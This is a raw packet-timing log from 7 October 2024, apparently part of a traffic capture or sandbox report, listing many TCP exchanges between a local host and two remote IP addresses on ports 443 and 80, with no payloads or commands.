Oct 7, 2024 21:18:33.060863018 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.060939074 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.061095953 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.061110973 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.076262951 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.076334000 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.076385975 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.076849937 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.076862097 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.076873064 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.076879025 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.082952023 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.082974911 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.083035946 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.083302975 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.083318949 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.130553961 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.130608082 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.130656004 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.131159067 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.131182909 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.131196022 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.131201029 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.136626005 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.136641026 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.136697054 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.136876106 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.136887074 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.229547024 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.230384111 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.230428934 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.230911970 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.230926037 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.340053082 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.340626001 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.340799093 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.340799093 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.340949059 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.340960979 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.343487024 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.343537092 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.343661070 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.343868017 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.343883038 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.535470009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:33.535562038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:33.535653114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:33.537092924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:33.542402029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:33.711338997 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.712359905 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.712372065 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.712882042 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.712964058 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.712969065 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.713484049 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.713500977 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.714055061 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.714061022 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.748550892 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.749088049 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.749115944 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.749592066 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.749598026 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.803260088 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.803905010 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.803921938 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.804476976 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.804481030 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820242882 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820312977 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820369959 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.820384979 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820414066 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820477009 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.820699930 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.820710897 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.820735931 CEST	49822	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.820741892 CEST	443	49822	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.822187901 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.822369099 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.823055029 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.823259115 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.823259115 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.823265076 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.823271990 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.825237036 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.825252056 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.825373888 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.826811075 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.826842070 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.826920033 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.827105999 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.827119112 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.829508066 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.829521894 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.875169039 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.875286102 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.875962019 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.875962019 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.875962019 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.878633022 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.878736019 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.879014015 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.879203081 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.879241943 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.914146900 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.914166927 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.914203882 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.914284945 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.914654970 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.914654970 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.914654970 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.917342901 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.917396069 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.919938087 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.920212984 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.920233965 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.007715940 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.008613110 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.008613110 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.008642912 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.008661985 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.124869108 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.125055075 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.125140905 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.125370026 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.125385046 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.125412941 CEST	49825	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.125420094 CEST	443	49825	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.127790928 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.127824068 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.127923965 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.128472090 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.128484964 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.134150028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134259939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134294033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134331942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.134344101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134377003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.134378910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134412050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.134443045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.134633064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.135827065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.141109943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.174731016 CEST	49823	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.174745083 CEST	443	49823	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.221674919 CEST	49824	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.221682072 CEST	443	49824	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.503009081 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.512751102 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.549768925 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.565371037 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.576292992 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.576303005 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.576838970 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.576849937 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.578727961 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.578763008 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.579201937 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.579216003 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.605753899 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.616983891 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.659106970 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.659109116 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.675211906 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.675518036 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.675668001 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.681128025 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.682348967 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.685918093 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.717423916 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.717479944 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.721467972 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.721488953 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.725446939 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.725446939 CEST	49826	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.725481987 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.725528955 CEST	443	49826	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.746063948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:34.746227980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:34.816196918 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.820997953 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.821151018 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.821270943 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.821346998 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.827117920 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.827147961 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.827608109 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.827617884 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.831424952 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.831454039 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.831468105 CEST	49828	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.831475973 CEST	443	49828	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.850502968 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.850538015 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.850708008 CEST	49827	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.850717068 CEST	443	49827	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.862238884 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.935564995 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.935937881 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.936018944 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.958184958 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.958240986 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.958772898 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.958786964 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.980380058 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.980417967 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.980787992 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.980787992 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.980829954 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.983153105 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.983181953 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:34.983194113 CEST	49829	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:34.983201027 CEST	443	49829	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.014029980 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.014070034 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.014126062 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.059252977 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.059730053 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.059797049 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.075519085 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.075544119 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.075602055 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.075742006 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.075753927 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.098706007 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.098746061 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.098803043 CEST	49831	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.098822117 CEST	443	49831	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.102051020 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.102065086 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.107403994 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.107441902 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.107584953 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.107887030 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.107903957 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.110492945 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.110532045 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.110630989 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.113178015 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.113197088 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.261745930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:35.261789083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:35.266748905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.266787052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.266819954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.266915083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.266942978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.266971111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:35.679775953 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.680243015 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.680268049 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.680819035 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.680825949 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.730966091 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.736443996 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.736468077 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.737054110 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.737059116 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.777323008 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.777896881 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.777911901 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.778429985 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.778434038 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.786051989 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.786113977 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.786209106 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.786492109 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.786492109 CEST	49832	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.786510944 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.786525965 CEST	443	49832	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.790108919 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.790155888 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.790222883 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.791001081 CEST	49837	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.791017056 CEST	443	49837	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.796677113 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.797262907 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.797286034 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.797749043 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.797755003 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.803685904 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.804121017 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.804138899 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.804725885 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.804733992 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.836118937 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.836313963 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.836365938 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.836365938 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.836438894 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.836597919 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.836613894 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.836623907 CEST	49833	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.836628914 CEST	443	49833	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.840960979 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.840987921 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.841059923 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.841267109 CEST	49838	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.841278076 CEST	443	49838	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.890310049 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.890347958 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.890402079 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.890430927 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.890469074 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.890693903 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.890705109 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.890713930 CEST	49834	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.890718937 CEST	443	49834	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.893938065 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.893978119 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.894033909 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.894351006 CEST	49839	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.894367933 CEST	443	49839	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.908246994 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.908327103 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.908466101 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.908523083 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.908534050 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.908539057 CEST	49836	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.908544064 CEST	443	49836	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.911075115 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.911113977 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.911175013 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.911348104 CEST	49840	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.911366940 CEST	443	49840	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.917762041 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.918309927 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.918395996 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.918450117 CEST	49835	443	192.168.2.5	13.107.253.45
